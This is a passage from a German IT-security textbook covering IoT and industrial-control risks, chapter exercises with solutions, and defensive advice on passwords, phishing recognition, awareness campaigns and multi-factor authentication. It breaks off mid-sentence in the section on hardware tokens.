Das Einspielen von Updates wird vom Hersteller deshalb oft nicht empfohlen, weil dadurch die Zertifizierung verloren geht oder der Hersteller nicht garantieren kann, dass das Gerät anschließend noch einwandfrei funktioniert. Damit solche Geräte keine einfache Beute für Cyberkriminelle werden, müssen sie in einem Netzwerksegment speziell abgesichert werden. Auch bei medizinischen Großgeräten gibt es eine Reihe von Risiken, die für einen sicheren Betrieb minimiert werden müssen. Grundsätzlich gelten diese aber auch für alle anderen IoT-Großgeräte: • Konfigurations- und Wartungszugänge sind oft zugänglich und werden durch Standardpasswörter des Herstellers geschützt. • Für die einfache Integration in die bestehende Netzwerkinfrastruktur werden veraltete Kommunikationsprotokolle wie SMBv1 für den Datentransfer angeboten. • Die Standardeinstellungen für die Protokollierungen zeichnen die sicherheitsrelevanten Ereignisse nicht auf. • In der Standardeinstellung werden zahlreiche Kommunikationsprotokolle oder Dienste angeboten, die für den Betrieb gar nicht benötigt werden. • Das Gerät wird nicht in einem getrennten Netzwerksegment betrieben, das durch Firewalls extra abgesichert ist. • In der Grundeinstellung werden Benutzerkonten eingerichtet, die für den Betrieb gar nicht benötigt werden. Oft werden diese Risiken durch organisatorische Mängel vergrößert, weil die notwendigen Life-Cycle- und Sicherheits-Prozesse nicht genau definiert und Zuständigkeiten für den laufenden Betrieb nicht geklärt sind.
7.4
Industrielle Produktionslagen
Auch in industriellen Produktionsanlagen kommen oft Maschinen zum Einsatz, auf denen veraltete Betriebssysteme laufen. Aus diesem Grund sind die Risiken ähnlich gelagert wie bei den IoT-Großgeräten. Um diese Systeme von der klassischen IT zu unterscheiden, wird Hardware und Software industrieller Produktionsanlagen meist mit Operational Technology (OT) oder Industrial Control Systems (ICS) bezeichnet. Da ein Update einer solchen Maschine Standzeiten verursacht und Kosten für das Testen und die Freigabe anfallen, werden Updates und Patches verzögert eingespielt, auch wenn diese vom Hersteller grundsätzlich bereit gestellt werden. Manche Unternehmen spielen Updates nur einmal jährlich und dann für alle Geräte gleichzeitig ein, um die Kosten für Standzeiten zu minimieren. Dies macht die Produktionssysteme anfällig für Cyberangriffe aller Art.
7.5
Aufgaben & Lösungen zu diesem Kapitel
131
Wenn das Büronetz nicht strikt vom Produktionsnetz durch Firewalls oder sogar physikalisch getrennt ist, besteht die Gefahr, dass sich Cyberkriminelle, die sich im Büronetz eingenistet haben, früher oder später in das Produktionsnetz eindringen. Der sensibelste Endpunkt eines intelligenten Fertigungssystems ist das Produktionsleitsystem, das die Produktion mit dem übrigen Unternehmensnetzwerk verbindet. Hier können die Angreifer die Produktionsanlagen beeinflussen. Auch die Datenübertragung mittels USB-Sticks ist nicht ohne Gefahren: Selbst wenn das Produktionsnetz vollständig vom Büronetz getrennt ist, müssen die Entwickler ihre Softwareänderungen an den Produktionsanlagen irgendwie einspielen. Ein mit einem Virus infizierter USB-Stick kann schnell zu einem Ausgangspunkt für einen Cyberangriff werden. Es muss nicht immer gleich ein Ransomwareangriff sein: Auch kleinste Modifikationen in einem der Datensätze können schwerwiegende Folgen in der Produktion haben und hohe Kosten verursachen, wenn zum Beispiel die Auftragssteuerung das falsche Material produziert oder fehlende Daten vollständige Produktionsausfälle hervorrufen. Auf diese Weise kann ein betroffener Betrieb erpresst werden, denn der Schaden kann enorm sein, wenn teure Werkzeugmaschinen oder deren Werkzeuge zerstört oder Produkte wegen mangelnder Qualität nicht verkauft werden können. Oft werden auch solche Produktionsleitgeräte nur schlecht administriert und dauerhaft mit den voreingestellten Passwörtern betrieben oder beinhalten Sicherheitslücken, die nie durch ein Update gestopft wurden, obwohl der Hersteller Patches auf seinen Webseiten längst zum Download bereit stellt. Gerade bei großen und teuren Produktionsmaschinen richtet der Hersteller Fernwartungs- und Administrationszugänge ein, die nicht selten über ein wenig geschütztes Webinterface erfolgen. Sind Cyberkriminelle erst einmal ins Produktionsnetz eingedrungen, können sie diese Zugänge nutzen, um die Maschinen zu übernehmen. Besonders gefährlich wird es, wenn es sich bei den Produktionsanlagen um kritische Infrastrukturen handelt. Dazu gehören neben Krankenhäusern auch Energieversorger, Kläranlagen oder Pumpstationen, die mit denselben Steuerungskomponenten betrieben werden, die auch in ganz normalen industriellen Produktionsanlagen zum Einsatz kommen. Ein Ausfall solcher Anlagen verursacht oft riesige Schäden mit ernsten Gefahren für die von diesen Systemen abhängigen Personen.
7.5
Aufgaben & Lösungen zu diesem Kapitel
7.5.1
Aufgaben
7.1 Nennen Sie einige besondere Gefahren für IoT-Geräte. 7.2 Warum sollte ein ungenutzter WLAN-Zugang in einem Drucker abgeschaltet werden, wenn dieser mit einem Kabel am Netz angeschlossen ist?
132
7 Internet of Things
7.3 Warum sollten Sie bei der Installation eines neuen IoT-Geräts unbedingt alle Passwörter ändern? 7.4 Welche Aussagen treffen auf IoT-Kleingeräte zu? 1. Weil IoT-Geräte keine Festplatten besitzen, können Angreifer keinen großen Schaden anrichten. 2. Die Hersteller achten besonders penibel auf die Umsetzung anerkannter IT-Sicherheitsmaßnahmen. 3. Eingebaute Kameras und Mikrofone lassen sich nutzen, um die Nutzer zu beobachten oder abzuhören. 4. IoT-Geräte lasen sich schlecht in Botnetze integrieren. 7.5 Nennen Sie einige Gründe, warum Updates bei Produktionsanlagen nicht immer sofort eingespielt werden.
7.5.2
Lösungen
7.1 Ohne Anspruch auf Vollständigkeit: IoT-Geräte • • • •
besitzen meist wenige Leistungsreserven für notwendige Sicherheitsupdates; sind oft nur unzureichend gegen fremde Zugriffe geschützt; werden selten oder gar nicht mit Sicherheitsupdates versehen; sind vollwertige Rechnersysteme mit einem Betriebssystem, Sensoren und Kommunikationsschnittstellen; • sind nicht ausreichend oder gar nicht gegen Schadsoftware geschützt; • kommunizieren mit Servern des Herstellers, die wiederum Ziele von Cyberkriminellen sind. 7.2 Falls Angreifer Zugang zum Drucker erlangen, könnten sie den Drucker als Accesspoint konfigurieren. 7.3 Die Passwörter für den Administratorzugang sind meist bekannt oder können einfach aus bestimmten Kennungen wie MAC-Adresse oder Gerätenummer abgeleitet werden. Auf diese Weise können Cyberkriminelle sehr einfach Zugang zu diesen Geräten erlangen. 7.4 Antwort 3. 7.5 Ohne Anspruch auf Vollständigkeit:
Literatur
133
• Standzeiten bei Produktionsanlagen müssen minimiert werden, weil sie Produktionsausfälle verursachen. • Produktionsanlagen sind oft viele Jahre im Einsatz, sodass Hersteller gar keine Sicherheitsupdates mehr entwickeln. • Der Fokus beim Betrieb liegt auf der einfachen Wartbarkeit und weniger auf der ITSicherheit, weshalb oft mit Standardpasswörtern gearbeitet wird. • Viele Produktionsanlagen besitzen Fernwartungszugänge, über die der Hersteller Zugang zur Anlage hat. Diese Zugänge können von Cyberkriminellen missbraucht werden.
Literatur 1. Vlasenko, D.: Busybox. https://busybox.net/ (2021). Aufgerufen am 27.10.2022
Teil III Abwehr von Cyberattacken
8
Allgemeine Maßnahmen
Für den verantwortungsbewussten Umgang mit Onlinediensten und internetfähigen Geräten, sowie beim Betrieb von Servern im Internet, sollten ein paar Grundregeln beachtet werden. Diese dienen dazu, die Gefahr einer Infektion mit Schadsoftware so gering wie möglich zu halten und es den Cyberkriminellen so schwer wie möglich zu machen, gültige Accounts abzugreifen. Einige der hier genannten Maßnahmen, wie der Umgang mit Passwörtern, sind für IT-Nutzende gedacht, die sich vor Cyberangriffen schützen wollen. Andere, wie WebAuthn oder Zero Trust, zielen auf Administratoren oder Betreiber größerer Einheiten, um die Resilienz gegen Cyberangriffe für eine ganze Organisation zu erhöhen. Eine Garantie, dass ein gezielter Cyberangriff abgewehrt werden kann, sind diese Maßnahmen natürlich nicht. Sie helfen nur, es den Cyberkriminellen so schwer wie möglich zu machen. Ein Virenschutz mit aktuellen Signaturen, eine Firewall und die automatische Installation von Updates sind einfache technische Möglichkeiten, sich gegen Cyberangriffe aus dem Internet zu schützen. Auch wenn ein Virenschutz bei der täglichen Flut an neuen Virenvarianten heute nur noch bedingt vor einer Infektion bewahrt, hält es doch die Vielzahl von Standardschadsoftware ab, die immer wieder erneut in Umlauf kommt. Ein Administratoraccount sollte auf einem Endgerät immer nur dann genutzt werden, wenn am Betriebssystem wirklich etwas zu administrieren ist. Schadprogramme erhalten die gleichen Rechte wie der Benutzer, der sich zum Zeitpunkt des Angriffs angemeldet hat. Mit einem Administratoraccount sollte deshalb niemals im Internet gesurft werden. Auch nicht, wenn es nur darum geht, auf einer HowTo-Seite nach der Lösung eines Administrationsproblems zu suchen! Vorsicht bei E-Mails und Anhängen. Wenn möglich sollten E-Mails nur als reiner Text und nicht als HTML versendet werden. Anhänge, die Sie von einem bestimmten Absender nicht erwarten, sollten niemals geöffnet werden. Auch der Absender kann gefälscht sein: Das SMTP lässt die Manipulation des Absenders zu (E-Mail-Spoofing). © Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_8
137
138
8 Allgemeine Maßnahmen
Auch mit Links ist Vorsicht geboten: Überlegen Sie stets genau, ob Sie auf den Link klicken sollen. Wenn Sie mit einem Mauszeiger über den Link fahren, ohne in anzuklicken, sehen sie bei den meisten E-Mail-Programmen, wohin der Link bei einem Klick führen würde. Meist zeigt der Link ganz woanders hin, als der Text vermuten ließe. Angreifer nutzen auch gerne sog. „Tippfehler-Domains“. Auf den ersten Blick unterscheiden diese sich kaum von den echten Hyperlinks. Jedes Programm, das nicht installiert ist, ist eine Sicherheitslücke weniger. Apps oder Programme sollten nur aus vertrauenswürdigen Web-Stores, Quellen oder dem Anbieter der Software selbst heruntergeladen werden. Achten Sie auf das Impressum der Webseite eines Anbieters. Nicht selten finden sich keinerlei Hinweise auf den Standort des Softwareanbieters und der Kontakt besteht lediglich aus einer E-Mail-Adresse. In diesen Fällen ist Vorsicht angebracht. Auch offizielle App-Stores von Apple, Google oder Microsoft können nicht immer garantieren, dass eine App frei von Schadfunktionen ist. Angreifer steigern ihre Erfolgsraten mit Spear Phishing, indem sie ihre Opfer individuell ansprechen. Durch Footprinting ausspionierte Daten, wie besuchte Webseiten oder Personen im Umfeld, werden benutzt, um Vertrauen aufzubauen. Persönliche Daten und kompromittierte Accounts gelten heute als Währung im Netz und werden auch gegen Geld gehandelt. Daten sollten stets nur verschlüsselt im Internet übertragen werden. Webseiten sollten deshalb grundsätzlich nur über „https“ und nie über „http“ aufgerufen werden. Dies ist besonders wichtig, wenn Sie sich für einen Dienst anmelden müssen. Funknetze sollten grundsätzlich über WPA3 und nur wenn das nicht möglich ist, über WPA2 abgesichert sein. Das WLAN-Passwort sollte mindestens 20 Stellen haben und nach den üblichen Passwortkriterien vergeben sein (s. Abschn. 8.1). Eine VPN-Verbindung in das Firmennetz des Arbeitgebers oder in das Heimnetz sichert die übertragung zusätzlich ab. Vorsicht ist bei fremden VPN-Anbietern geboten (s. Abschn. 8.7). Ganz wichtig und immer wieder vernachlässigt, ist ein Backup aller Daten. Eine Sicherheitskopie hilft, die Daten nach einer Infektion oder dem Verlust eines Geräts zu rekonstruieren. Wurden die Daten auf einem Dateisystem verschlüsselt auf der lokalen Festplatte gespeichert (zum Beispiel über Bitlocker), können Angreifer, die kompromittierende Daten abgerufen haben, mit diesen wenig anfangen, sofern sie das Passwort für die Entschlüsselung nicht kennen. Das Zurückspielen der Daten aus einem Backup reicht also aus, um die Daten auf dem Endgerät wieder herzustellen. Man muss allerdings sicherstellen, dass die Angreifer keine Backdoors installiert haben, die beim Backup mit gesichert wurden und nach einem Restore aus dem Backup für den Angreifer für erneute Angriffe wieder zur Verfügung stünden. Falls möglich, sollte die System- und Anwendungssoftware wieder von Grund auf neu eingerichtet werden, um sicherzustellen, dass das System sauber ist. Lediglich die persönlichen Daten und Dateien sollten aus dem Backup wieder zurückgespielt werden. Da man nie ganz sicher sein kann, dass die Angreifer sich nicht schon längere Zeit in einem System breit gemacht haben, sollten auch ältere Sicherheitskopien aufgehoben werden. Sind Spuren bekannt, die Angreifer auf den Systemen hinterlassen haben, kann
8.1
Umgang mit Passwörtern
139
man vergleichsweise leicht sicherstellen, dass ein wiederhergestelltes System sauber ist. Man muss im Backup lediglich nach diesen Spuren suchen. Backups sollten grundsätzlich offline sein, was bedeutet, dass Speichermedien für Backups nur mit dem Server verbunden sind, wenn tatsächlich ein Backup läuft. Eine Sicherheitskopie auf einem angeschlossenen USB-Laufwerk ist sinnlos, weil diese Platte im Falle eines Angriffs von den Angreifern gleich mit verschlüsselt wird. Hier bekommen Backups, die auf Bändern gespeichert werden, wieder eine größere Bedeutung, das es ungleich schwieriger ist, ein Backup auf einem Band unbrauchbar zu machen, als dies bei Festplatten möglich ist. Bei Bandrobotern, wie sie in größeren Einrichtungen verwendet werden, ist von vornherein eine Sicherung eingebaut, indem mehrere Versionen der Daten im Backup gehalten werden. Diese zu löschen bedeutet, die alten Bänder wieder einzulegen und zu überschreiben, was relativ lange dauert und von einem aufmerksamen Backup-Administrator sicher entdeckt werden würde. Die größte Schwachstelle ist, wie schon mehrfach genannt, der Mensch. Es sind doch immer wieder die Opfer selbst, die bereitwillig Zugangsdaten preisgeben. Aus diesem Grund sollen zunächst ein paar einfache Grundregeln zusammengestellt werden, wie man sich gegen Angriffe über kompromittierte Passwörter schützen kann.
8.1
Umgang mit Passwörtern
Auch wenn inzwischen passwortlose Authentisierungsverfahren existieren (s. Abschn. 8.5), ist eine Account/Passwort-Kombination bei den meisten Anbietern von Diensten im Internet immer noch das Mittel der Wahl. Oft wird statt des Accounts auch eine E-Mail-Adresse verwendet, sodass das Passwort die einzige Absicherung gegen den unberechtigten Zugriff darstellt. Daher gilt es, einige Maßnahmen im Umgang mit Passwörtern zu beachten. Die wichtigste Maßnahme, die gegen unberechtigtem Zugriff auf einen Account hilft, sind lange und komplexe Passwörter. Jedes Gerät und jeder Dienst im Internet sollte dabei ein individuelles Passwort erhalten. Auch wenn es Empfehlungen gibt, wie man diese Passwörter erzeugt und sich trotzdem merken kann, ist der sicherste Weg, die Verwendung langer1 zufälliger Zeichen und Ziffernfolgen, die in einem Passwortmanager verwaltet werden, der möglichst über einen zweiten Faktor abgesichert ist. Die Komplexität der Passwörter sind bei der Verwendung eines Passwortmanagers unproblematisch, denn man muss sich nur das Masterpasswort für die Passwortdatenbank merken, um Zugriff zu erhalten. Passwortmanager bieten die Möglichkeit, die Passwortdatenbank unter Verwendung eines zweiten Faktors zu sichern, wie zum Beispiel eine bestimmte Datei, die bei der Anmeldung zusätzlich ausgewählt werden muss. Wenn kein Passwortmanager genutzt werden kann, sollten zumindest die folgenden Regeln für ein Passwort beachtet werden: 1 Nach heutigen Erkenntnissen sollten Passwörter eine Länge von mindestens 20 Zeichen besitzen.
Vorsichtige Naturen benutzen Passwörter mit 40 und mehr Zeichen.
140
• • • •
8 Allgemeine Maßnahmen
Länge ist wichtiger als Komplexität. Groß- und Kleinbuchstaben sollten nicht nur am Wortanfang eingestreut werden. Sonderzeichen sollten nicht nur am Ende oder zwischen Worten stehen. Ziffern an zufälligen Stellen einstreuen.
Keinesfalls sollten Passwortkombinationen verwendet werden, die Geburtstage oder Namen enthalten oder in Wörterbüchern stehen. Auch Tastaturkombinationen wie „qwertz“, „asdfgh“ oder gängige Kombinationen wie „12345678“, „abcdefgh“ sowie Tastaturwiederholungen sind zu vermeiden. Satzzeichen, die ans Ende oder den Anfang gestellt sind, wie zum Beispiel „Passwort1!“, das allen gängigen Passwortregeln entspricht, bringen nur wenig zusätzliche Sicherheit. Erzwungene regelmäßige Passwortänderungen haben selten den erwünschten Effekt, wenn sie zu häufig verlangt werden: Irgendwann fängt eigentlich jeder an, die Passwörter durchzuzählen. Haben die Cyberkriminellen ein solches Passwort gefunden, können sie leicht auf dessen Nachfolger schließen. Auf jeden Fall sollte ein Passwort geändert werden, wenn der Verdacht besteht, dass es kompromittiert wurde. Das kann auch durch einen zuständigen Admin erfolgen, wenn dieser entsprechende Warnungen erhält. Ein untrügliches Zeichen ist, wenn bei einer 2FAuthentisierung nach dem zweiten Faktor gefragt wird, ohne dass man sich aktuell an einem Dienst angemeldet hat. Über die Webseite „;–have i been pwned?“ (https://haveibeenpwned.com/), die von dem Sicherheitsexperten Troy Hunt betrieben wird, sowie über den „Identity leak Checker“ des Hasso-Plattner-Instituts (https://sec.hpi.de/ilc/) kann man prüfen, ob ein Passwort über ein Einbruch bei einem Dienst ergattert wurde. Mit der Eingabe einer E-Mailadresse wird angezeigt, bei welchen Diensten ein Account mit dieser Adresse von Cyberkriminellen abgegriffen wurde. Beim Passwort Check „Pwned Passwords“ (https://haveibeenpwned.com/Passwords), einer Webseite, die ebenfalls von Troy Hunt betrieben wird, kann geprüft werden, ob ein Passwort in einer Datenbank mit kompromittierten Passwörtern enthalten ist. Diese Webseite zeigt zusätzlich an, bei wie vielen Datenlecks dieses Passwort enthalten ist. Damit das eingegebene Passwort bei diesem Check nicht an den Server übertragen und dadurch selbst kompromittiert wird, ist folgendes Sicherheitsverfahren implementiert: Zunächst wird die eingegebene Zeichenkette lokal in einen Hash umgewandelt und nur die ersten fünf Zeichen des Hashes werden an den Server übertragen. Dieser antwortet mit allen Hashes der Passwörter, die mit denselben Zeichen beginnen. Anschließend wird auf dem lokalen Rechner geprüft, welche Hashes vollständig übereinstimmen. Natürlich sollte man bei der Eingabe aktuell verwendeter Passwörter auf einer unbekannten Webseite sehr vorsichtig sein.
8.2
8.2
Kampagnen zur Verbesserung der Phishing-Awareness
141
Kampagnen zur Verbesserung der Phishing-Awareness
Phishingversuche der Cyberkriminellen werden immer besser. Konnten diese früher leicht erkannt werden, weil die E-Mails vor Rechtschreibfehler und unglücklichen Formulierungen nur so strotzten, haben die Angreifer inzwischen dazugelernt. Auch sind die automatischen Übersetzungsprogramme im Netz, die von Angreifern für die Übersetzung ihrer Phishingmails verwendet werden, erheblich besser geworden, sodass es immer schwieriger wird, Phishingmails als solche zu entlarven. Inzwischen existieren auch komfortable Phishing-Frameworks wie Zphisher [1], die gefälschte Anmeldeseiten für die verschiedensten Webdienste wie Google, Microsoft, PayPal oder WordPress generieren und gleich die notwendige Infrastruktur mitliefern, um die Phishingwebseite zu starten und die gephishten Accounts und Passwörter in einer Datei zu sammeln. Trotzdem gibt es immer noch recht einfache Möglichkeiten Phishingmails zu erkennen: • Fehler in den Formulierungen, Wechsel vom „Sie“ zum „Du“ beim automatischen Übersetzen aus dem Englischen sind ein sicheres Zeichen für eine Phishingmail. Ungewöhnliche Sonderzeichen, die nicht im üblichen Sprachraum verwendet werden oder Fehler in der Betreffzeile kommen auch bei gut gestalteten Phishingmails immer wieder vor. • Absender der E-Mail prüfen: Die Absenderadresse verdächtiger E-Mails sollte man mit Angaben des Anbieters im Internet, etwa in dessen Impressum oder mit alten E-Mails vergleichen. Oft hilft es auch, die angegebene Adresse über eine gewöhnliche Suchmaschine zu überprüfen. • Den Grund des Schreibens überprüfen: Kann die Behauptung stimmen? Die meisten Dienstanbieter geben an, dass sie niemals per E-Mail dazu auffordern werden, Zugangsdaten einzugeben. • Wohin führt der Link? Um das zu erkennen, führt man den Mauszeiger auf das Feld mit dem Link und lässt sich die Internetadresse anzeigen, ohne sie anzuklicken. Bei Phishingmails erscheint meist ein unplausibler Link, der nicht auf die Domäne des Anbieters zeigt. Wer trotz aller Vorsicht auf einen Link geklickt und sein Passwort eingegeben hat, sollte sofort handeln, ein neuer Eintrag in der Datenbank der Cyberkriminellen kann diese dazu veranlassen, den neu gephishten Account schnellstmöglich für ihre Absichten zu sichern. • Sofort das Passwort des Dienstes zurücksetzen, der sich auf die Phishingkampagne bezieht. Das geht normalerweise online, wenn beim Dienstanbieter eine Mobilfunknummer oder eine E-Mail-Adresse hinterlegt ist. Der Dienstanbieter wird eine Transaktionsnummer an die ihm bekannten Kontakte senden. Hier ist Eile angebracht, denn das Erste, was die Angreifer machen werden, ist genau diese Daten zu ändern. Unter Umständen
142
•
•
•
•
8 Allgemeine Maßnahmen
hat man ab diesem Zeitpunkt schon gar keine Chance mehr, seinen Account wieder zu bekommen, weil das Passwort und die Wiederherstellungsregeln geändert wurden. Den Anbieter des Dienstes kontaktieren, falls der Zugriff auf das Konto nicht mehr möglich ist. Wenn das der Fall ist, haben die Angreifer das Konto bereits gekapert. Ab hier müssen Sie dem Dienstanbieter nachweisen, dass Sie der rechtmäßige Kontoinhaber sind. Die Prozeduren hierfür sind recht unterschiedlich. Einerseits dürfen sie kein Angriffspunkt für Cyberkriminelle werden, andererseits dürfen sie dem rechtmäßigen Besitzer eines Accounts auch keine unüberwindbare Hürden in den Weg stellen. Die fragliche E-Mail sollte gesichert werden, denn oft finden sich weitere Informationen im Mail-Header oder die Ermittlungsbehörden können über die Zeitangaben Informationen bei den Internetprovidern abfragen oder großangelegte Kampagnen über ähnlichkeiten erkennen. Den Vorfall bei der Bank melden, falls Kreditkarten- oder Kontodaten eingegeben wurden. Am Ende geht es den Angreifern immer um Geld. Lassen Sie eine Kreditkarte oder den Zugriff auf Ihr Konto über das Internet sperren, für das Sie die Daten (Kartennummer, Sicherheitscode, Zugangskennung, Passwort) gegeben haben. Anzeige bei der Polizei erstatten. Auch wenn die Erfahrung zeigt, dass die Betrüger nicht immer gefasst werden, so hilft die Anzeige doch, den nachgeschalteten Behörden wie das zuständige Landeskriminalamt (LKA) oder Bundeskriminalamt (BKA), Angriffswellen und Angriffsmuster zu erkennen. So können Warnmeldungen verfasst werden, die potenzielle weitere Opfer schützen.
Um die Sensibilität (Awareness) der IT-Nutzenden gegenüber Phishing zu verbessern, können interne E-Mail-Phishingkampagnen durchgeführt werden. Dabei ist die Idee, Mitarbeitenden einer Organisation scheinbar normale Phishingnachrichten zu senden. Diese Nachrichten müssen nicht notwendigerweise E-Mails sein, denn auch andere Kommunikationskanäle, die eine Organisation unterstützt, eignen sich für solche Kontaktversuche. Klickt eine Empfängerin oder ein Empfänger auf einen versendeten Link, werden entweder tatsächlich Zugangsdaten abgefragt oder es wird eine Information zum Thema Phishing dargestellt, bzw. eine entsprechende Schulung gestartet. Meist geht es bei einer Phishingkampagne darum, die Mitarbeitenden zu sensibilisieren, aber auch die Erhebung der Klick-Rate oder eine Evaluation der Schulungserfolge bestimmter Schulungsmaßnahmen sind Gründe für die Durchführung vom internen Phishing-Awareness-Kampagnen. Dabei muss wie immer darauf geachtet werden, dass die Phishingkampagnen von der Leitung der Organisation beauftragt und die Verantwortlichkeiten geklärt wurde. Wie bei allen Maßnahmen oder Penetration-Tests, ist ein schriftlicher Auftrag erforderlich. Bei Phishingkampagnen ist zudem der Personal- beziehungsweise der Betriebsrat aus rechtlichen Gründen in die Vorbereitung einzubeziehen. Dabei ist zu beachten, dass sichergestellt wird, dass negative Ergebnisse keinerlei Auswirkungen auf das Beschäftigungsverhältnis der Mitarbeitenden haben. Spätestens nach Beendigung der Kampagne müssen die
8.2
Kampagnen zur Verbesserung der Phishing-Awareness
143
Mitarbeitenden ausführlich über die Durchführung und Ergebnisse der Phishingkampagne in Kenntnis gesetzt werden. Um die Durchführung solcher Tests und vor allem deren Auswertung zu vereinfachen, existieren eine Reihe von Open-Source-Werkzeugen, die das Spektrum für Phishingkampagnen und die damit einhergehenden Gefahren wie Verschlüsselungsattacken thematisieren: • Gophish: ein GUI-basiertes Spezialwerkzeug für die Durchführung von Phishingattacken; • King Phisher: kann mehrere Phishingkampagnen simultan durchführen; • Phishing Frenzy: legt besonderen Wert auf das einfache Management von Phishingkampagnen; • Social Engineer Toolkit (SET): das SET ist ein ganzes Penetration Testing Framework, bei dem Phishingattacken als ein Baustein integriert sind. Daneben gibt es auch kommerzielle Werkzeuge wie Lucy. Hier sind neben den Angriffssimulationen auch passende Online-Awareness-Schulungen in Form von E-Learning-Modulen integriert. Grundsätzlich laufen solche internen Phishingkampagnen immer nach dem gleichen Muster ab: 1. Aufsetzen der E-Mail-Templates und einpflegen der Zieladressen. 2. Starten und Durchführung der Kampagne. Hier werden die Phishing-E-Mails versendet. 3. Auswerten der gespeicherten Ergebnisse. Bei den meisten Werkzeugen wird zwischen geöffneten E-Mails, angeklickten Links und der Eingabe von Accountdaten unterschieden. Auch wenn diese Werkzeuge als Hilfe für Pentester beworben werden und deren Nutzung nur dann legal ist, wenn ein entsprechender Auftrag vorliegt, lassen sich diese PhishingAwareness-Tools natürlich genauso gut auch von Cyberkriminellen mit bösen Absichten einsetzen. Ob es sich bei einer Phishingkampagne um eine Awareness-Maßnahme oder einen echten Angriff handelt, entscheidet sich lediglich darin, wie die gephishten Daten verwendet werden. Die Werkzeuge sind in beiden Fällen dieselben. Der Nutzen von Phishing-Awareness-Maßnahmen über simulierte Phishingattacken ist umstritten. Werden sie vorher angekündigt, ist die Gefahr groß, dass auch wichtige Nachrichten aus Vorsicht nicht mehr geöffnet und gelesen werden. Werden sie nicht angekündigt, kann das Vertrauensverhältnis zwischen der Leitung und den Mitarbeitenden gestört werden. Auch hängen die Erfolge stark von der Wahl des verwendeten Textes ab. Bei angekündigten Phishingkampagnen wird ein gewisser Prozentsatz an Empfänger aus Neugierde auf einen Link klicken, nur um zu sehen, was da genau passiert. Es sollte nicht vernachlässigt werden, dass jede Person, die auf die Kampagne hereingefallen ist, eine negative Erfahrung macht. Außerdem werden die Personen, die zum Beispiel in Urlaub sind, von einer Kampagne
144
8 Allgemeine Maßnahmen
gar nicht erst erreicht. Aus diesem Grund wird inzwischen empfohlen, auf Kampagnen zu verzichten, die nur auf das Klickverhalten der Nutzenden zielen. Vielmehr sind regelmäßige Awareness-Schulungen das Mittel der Wahl.
8.3
Zwei- oder Mehrfaktorauthentisierung (2FA und MFA)
Ein zielführender Weg, die Gefahr von Passwortphishing zu verringern, besteht darin, den Zugang zu wichtigen IT-Diensten durch weitere Authentisierungsmethoden (Faktoren) zu schützen. Viele Dienstleister im Internet bieten inzwischen diesen Weg zur sicheren Authentisierung2 an. Nur wenn beide Faktoren korrekt sind, wird z. B. der Zugang zu einem Dienst gewährt. Somit ist dieser zweite Faktor ein wirksamer Schutz gegen unberechtigten Zugang. Dieser Ansatz wird Mehrfaktorauthentisierung (MFA) genannt. Da es sich dabei meist lediglich um einen zweiten Faktor handelt, wird der Begriff Zweifaktorauthentisierung (2FA) als Synonym für MFA verstanden. Die Idee hinter MFA ist folgende: Gelangt der erste Faktor, das Passwort oder eine PIN, in die falschen Hände, sind sensiblen Daten durch den zweiten Faktor weiter geschützt, da Cyberkriminelle zusätzlich Zugriff auf den zweiten Faktor haben müssten, um zum Beispiel tatsächlich Zugang zu einem Dienst zu erhalten. Wichtig ist jedoch, dass der zweite Faktor aus einer anderen Kategorie stammt, also nicht einfach nur ein zweites Passwort ist. Solche Kategorien sind: • Wissen (Passwort oder PIN) • Besitz (TAN-Generator, Chipkarte, Handy-Apps, USB-Sicherheitsstick usw.) • Biometrie (Fingerabdruck, Gesichtserkennung). Um sich gegen Man-in-the-Middle-Angriffe (MITM) durch Mitlesen der Datenübertragung beim Anmeldevorgang zu schützen, sollte der zweite Faktor außerdem über einen zweiten Übermittlungskanal übertragen werden. Bei einer Anmeldung zu einem Bank-Account bedeutet dies, dass der erste Faktor, die Anmeldung über einen Webbrowser auf einem PC, über einen DSL-Anschluss und der zweite Faktor über das Mobilfunknetz des Telefonanbieters und einer registrierten App auf einem Handy erfolgen sollte. Diese Grundvoraussetzung wird aus Bequemlichkeit oft nicht mehr erfüllt: So befindet sich eine Banking-Anwendung häufig auf demselben Endgerät wie die Sicherheitsapplikation zum Absichern der Transaktionen.
2 Die Begriffe Authentisierung und Authentifizierung werden im allgemeinen Sprachgebrauch oft
synonym verwendet, beschreiben aber verschiedene Teilprozesse z. B. eines Anmeldevorgangs. Ein Benutzer authentisiert sich an einem System mittels eindeutiger Anmeldeinformationen (z. B. Passwort und/oder Chipkarte). Das System authentifiziert daraufhin einen Nutzer, indem es die Gültigkeit der verwendeten Daten verifiziert.
8.3
Zwei- oder Mehrfaktorauthentisierung (2FA und MFA)
145
Aber auch schwache zweite Faktoren, die über eine zweiten Übermittlungskanal übertragen werden, bieten den Cyberkriminellen Angriffsmöglichkeiten: Wenn es die Cyberkriminellen zum Beispiel schaffen, beim Mobilfunkprovider eine eigene SIM als SMS-Empfänger einzurichten und der zweite Faktor in einer SMS mit einer TAN besteht, brauchen sie nur noch das Passwort und den Accountnamen, um das Konto zu übernehmen. Einige Dienste haben die 2-Faktor-Authentisierung aus Kompatibilitätsgründen und zur vereinfachten Anmeldung für die Nutzer standardmäßig deaktiviert, bieten sie aber dennoch grundsätzlich an. Gerade bei sensiblen Aktionen im Internet gilt, dass sobald ein webbasierter Dienst die 2-Faktor-Authentisierung (2FA) anbietet, diese auch aktiviert werden sollte. Inzwischen gibt es eine Reihe von Apps für mobile Endgeräte, die als zweiter Faktor eingesetzt werden können. Dazu gehören • Google Authenticator (Android und iOS): Closed Source der Firma Google • Microsoft Authenticator (Android und iOS): Closed Source der Firma Microsoft • FreeOTP (Android und iOS): Open-Source-Weiterentwicklung auf der Basis einer frühen Open-Source-Variante des Google Authenticators • FreeOTP+ (Android): Open-Source-Erweiterung von FreeOTP • Authy (Android, iOS, Windows, Mac OS, Linux): Speicherung des Geheimnisses verschlüsselt in einer Cloud Daneben gibt es auch Hardware-Tokens, die per USB an einen PC angesteckt werden können. Bei diesen USB-Tokens, die wie ein normaler USB-Stick aussehen, ist ein Kryptochip für die Erstellung, Speicherung und Bestätigung von Schlüsseln eingebaut. Die Kommunikation zwischen dem USB-Token und dem Rechner erfolgt abgesichert über das Client to Authenticator Protocol (CTAP 2.0 [2]), das auf das Human-Interface-Protokoll (HID) aufsetzt. Damit wird der Token wie eine Tastatur erkannt und benötigt keinen speziellen Treiber. Die Austausch der Daten wird bei CTAP 2.0 über ein Verfahren abgesichert, das dem von SSH ähnelt. Alternativ gibt es das Trusted 